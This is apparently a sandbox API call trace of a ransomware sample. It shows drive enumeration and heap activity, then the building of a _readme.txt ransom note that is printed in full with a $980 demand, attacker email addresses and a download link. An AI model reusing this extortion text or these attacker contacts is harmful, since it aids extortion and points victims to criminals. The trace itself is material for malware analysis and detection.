hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a338a8 | out: hHeap=0x5010000) returned 1 [0110.129] lstrlenA (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 42 [0110.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x56) returned 0x7a31360 [0110.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe22a778, cbMultiByte=-1, lpWideCharStr=0x7a31360, cchWideChar=43 | out: lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned 43 [0110.130] lstrcpyW (in: lpString1=0x46c450, lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" | out: lpString1="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}") returned="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1\"}" [0110.130] lstrlenW (lpString="B2sfQkmuSRRAYuUpF2X5OjLvjly5Zsql4Ck6CCpi") returned 40 [0110.130] lstrlenW (lpString="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned 40 [0110.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a2c728 | out: hHeap=0x5010000) returned 1 [0110.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a2c360 | out: hHeap=0x5010000) returned 1 Thread: id = 242 os_tid = 0x604 [0110.352] timeGetTime () returned 0x113344e [0110.352] GetLastError () returned 0x54f [0110.352] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3bc) returned 0x7a1d818 [0110.352] GetCurrentThreadId () returned 0x604 [0110.352] SetLastError (dwErrCode=0x54f) [0110.352] Sleep (dwMilliseconds=0x0) [0110.354] Sleep (dwMilliseconds=0x3e8) [0111.356] GetLogicalDrives () returned 0x4 [0111.357] SetErrorMode (uMode=0x1) returned 0x0 [0111.357] PathFileExistsA (pszPath="C:\\") returned 1 [0111.357] SetErrorMode (uMode=0x0) returned 0x1 [0111.357] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0111.357] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x806) returned 0x7ac3900 [0111.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x825fe60, cbMultiByte=-1, lpWideCharStr=0x7ac3900, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0111.357] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7ac4110 [0111.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3900 | out: hHeap=0x5010000) returned 1 [0111.357] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x7a13240 [0111.357] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4110 | out: hHeap=0x5010000) returned 1 [0111.357] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.358] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.358] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7ad3900 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3900 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ad3900 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3900 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7ad3900 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3900 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.359] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.359] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.361] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.361] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.362] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.362] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.363] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.364] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.364] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.364] PathFindFileNameW (pszPath="") returned="" [0111.364] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.365] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.365] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35b50 [0111.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14108 | out: hHeap=0x5010000) returned 1 [0111.365] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.365] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x806) returned 0x7b13900 [0111.365] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0111.365] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14110 [0111.365] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0111.366] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b14928 [0111.366] lstrcpyW (in: lpString1=0x7b14928, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.366] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.366] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b1c630 [0111.366] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, 